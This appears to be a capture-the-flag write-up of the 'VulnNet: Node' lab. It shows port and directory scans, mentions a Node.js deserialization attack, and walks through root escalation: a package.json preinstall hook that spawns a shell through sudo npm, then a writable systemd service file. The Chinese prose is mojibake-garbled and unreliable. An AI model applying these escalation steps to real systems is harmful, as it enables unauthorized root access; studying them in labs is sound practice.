VulnNet: Node
ç«¯å£æ«æâ
root@ip-10-10-208-99:~/vulnnetnode# nmap -sTCV -p 8080 --min-rate 1000 10.10.78.101
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-06 01:12 BST
Nmap scan report for ip-10-10-78-101.eu-west-1.compute.internal (10.10.78.101)
Host is up (0.000094s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!
MAC Address: 02:2D:05:35:9D:E9 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
8080â
root@ip-10-10-208-99:~/vulnnetnode# gobuster dir -u http://10.10.78.101:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.78.101:8080/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2023/09/06 01:16:27 Starting gobuster
===============================================================
/img (Status: 301)
/login (Status: 200)
/css (Status: 301)
/Login (Status: 200)
/IMG (Status: 301)
/CSS (Status: 301)
/Img (Status: 301)
/LogIn (Status: 200)
/LOGIN (Status: 200)
è®¿é®æ€ç«ç¹, åšéŠé¡µåžåäž, æå°å ³äº Node JS çæŒæŽ, é£ä¹è¿äžªæå¡åšå¯¹åºçåºè¯¥å°±æ¯ Node JS, åæ¶æåç°äžäžªç»éçªå£, æåšæ€å®¡é äžçªå, 并没æåç°ä¿¡æ¯æ³é²çæŒæŽ, æå æ¥ç, æåç°å ¶ Cookie æé åŸæææ, æ¬æ¥ææ³çæ¯åºäº Cookie ççšæ·å€æ, äœæ¯å°è¯äžçªåæ æ, åšæ¥ç WPå, åç°æ¯äžäžªååºååæŒæŽ Node.js Deserialization Attack
åæžéâ
wwwâ
å©çšäžé¢çæ¹æ³å¯ä»¥æé äžäžªååºåå payload çŽæ¥äœ¿çšå³å¯
www â> serv-manageâ
æåç°çšæ· www å ·æ serv-manage ç SUDO ç¹æ
ç»è¿æ¥æŸåç°äºå ¶å©çšæ¹åŒ npm#sudo
(remote) www@vulnnet-node:/home$ TF=$(mktemp -d)
(remote) www@vulnnet-node:/home$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
(remote) www@vulnnet-node:/tmp/tmp.ZOynUEzgbh$ chmod 777 package.json
(remote) www@vulnnet-node:/tmp$ chmod 777 tmp.ZOynUEzgbh/
serv-manage â> rootâ
æ¥çæåç°çšæ· serv-manage å ·æ root çšæ·ç sudo ç¹æ
åç §äžé¢çæçšæè¿è¡äºå©çš
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ ls -al /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 2021 /etc/systemd/system/vulnnet-auto.timer
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ cat /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
**Unit=vulnnet-job.service**
[Install]
WantedBy=basic.target
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ locate vulnnet-job.service
/etc/systemd/system/vulnnet-job.service
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ ls -al /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 2021 /etc/systemd/system/vulnnet-job.service
\[\](remote)\[\] \[\]serv-manage@vulnnet-node\[\]:\[\]/tmp/tmp.ZOynUEzgbh\[\]$ cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
**ExecStart=/bin/df**
[Install]
WantedBy=multi-user.target
åç°æ»¡è¶³å¯å©çšçæ¡ä»¶, éè¿ä¿®æ¹ vulnnet-job.service æä»¶å 容è¿è¡å©çšå³å¯